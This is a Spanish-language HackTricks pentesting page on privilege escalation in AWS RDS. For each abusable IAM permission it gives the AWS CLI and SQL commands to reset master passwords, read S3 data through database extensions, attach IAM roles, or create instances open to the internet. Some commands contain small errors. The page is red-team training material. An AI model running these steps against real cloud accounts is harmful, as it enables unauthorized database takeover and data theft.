AWS - RDS Privesc

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

RDS - Relational Database Service

Para más información sobre RDS, consulta:

AWS - Relational Database (RDS) Enum

rds:ModifyDBInstance

Con ese permiso, un atacante puede modificar la contraseña del usuario principal, y las credenciales de acceso dentro de la base de datos:

# Get the DB username, db name and address
aws rds describe-db-instances

# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>

Warning

Necesitarás poder ponerte en contacto con la base de datos (por lo general sólo son accesibles desde redes internas).

Potential Impact: Encontrar información sensible dentro de las bases de datos.

rds-db:connect

According to the docs a user with this permission could connect to the DB instance.

Abusar de permisos IAM del Role de RDS

Postgresql (Aurora)

Tip

Si ejecutas SELECT datname FROM pg_database; y encuentras una base de datos llamada rdsadmin, sabes que estás dentro de una AWS postgresql database.

Primero puedes comprobar si esta base de datos se ha usado para acceder a algún otro servicio de AWS. Puedes verificarlo mirando las extensiones instaladas:

SELECT * FROM pg_extension;

Si encuentras algo como aws_s3, puedes asumir que esta base de datos tiene algún tipo de acceso a S3 (hay otras extensiones como aws_ml y aws_lambda).

Además, si tienes permisos para ejecutar aws rds describe-db-clusters, puedes ver ahí si el cluster tiene alguna IAM Role adjunta en el campo AssociatedRoles. Si la hay, puedes asumir que la base de datos fue preparada para acceder a otros servicios de AWS. Basándote en el nombre del rol (o si puedes obtener los permisos del rol) podrías adivinar qué acceso extra tiene la base de datos.

Ahora, para leer un archivo dentro de un bucket necesitas conocer la ruta completa. Puedes leerlo con:

// Create table
CREATE TABLE ttemp (col TEXT);

// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv',          // Name of the file
'eu-west-1'          //region of the bucket
) AS s3_uri \gset

// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');

// Get info
SELECT * from ttemp;

// Delete table
DROP TABLE ttemp;

Si tuvieras credenciales AWS sin procesar, también podrías usarlas para acceder a datos de S3 con:

SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);

Note

Postgresql doesn’t need to change any parameter group variable para poder acceder a S3.

Mysql (Aurora)

Tip

Dentro de un mysql, si ejecutas la consulta SELECT User, Host FROM mysql.user; y existe un usuario llamado rdsadmin, puedes asumir que estás dentro de una AWS RDS mysql db.

Dentro del mysql ejecuta show variables; y si las variables como aws_default_s3_role, aurora_load_from_s3_role, aurora_select_into_s3_role tienen valores, puedes asumir que la base de datos está preparada para acceder a datos en S3.

Además, si tienes permisos para ejecutar aws rds describe-db-clusters puedes comprobar si el cluster tiene algún rol asociado (associated role), lo cual suele significar acceso a servicios de AWS).

Ahora, para leer un archivo dentro de un bucket necesitas conocer la ruta completa. Puedes leerlo con:

CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;

rds:AddRoleToDBCluster, iam:PassRole

Un atacante con los permisos rds:AddRoleToDBCluster e iam:PassRole puede añadir un rol especificado a una instancia RDS existente. Esto podría permitir al atacante acceder a datos sensibles o modificar los datos dentro de la instancia.

aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>

Potential Impact: Acceso a datos sensibles o modificaciones no autorizadas de los datos en la instancia RDS.
Tenga en cuenta que algunas DBs requieren configuraciones adicionales, como Mysql, que también necesita especificar el role ARN en los grupos de parámetros.

rds:CreateDBInstance

Con solo este permiso, un atacante podría crear una nueva instancia dentro de un cluster que ya existe y tiene un IAM role adjunto. No podrá cambiar la contraseña del master user, pero podría exponer la nueva instancia de base de datos a Internet:

aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible

rds:CreateDBInstance, iam:PassRole

Note

TODO: Probar

Un atacante con los permisos rds:CreateDBInstance y iam:PassRole puede crear una nueva instancia RDS con un rol especificado adjunto. El atacante podría entonces potencialmente acceder a datos sensibles o modificar los datos dentro de la instancia.

Warning

Algunos requisitos del role/instance-profile para adjuntar (desde here):

  • El profile debe existir en tu cuenta.
  • El profile debe tener un IAM role que Amazon EC2 tenga permisos para asumir.
  • El nombre del instance profile y el nombre del IAM role asociado deben comenzar con el prefijo AWSRDSCustom .
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole

Impacto potencial: Acceso a datos sensibles o modificaciones no autorizadas a los datos en la instancia de RDS.

rds:AddRoleToDBInstance, iam:PassRole

Un atacante con los permisos rds:AddRoleToDBInstance y iam:PassRole puede añadir un role especificado a una instancia de RDS existente. Esto podría permitir al atacante acceder a datos sensibles o modificar los datos dentro de la instancia.

Warning

La instancia de DB debe estar fuera de un cluster para esto

aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>

Impacto potencial: Acceso a datos sensibles o modificaciones no autorizadas de los datos en la instancia RDS.

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks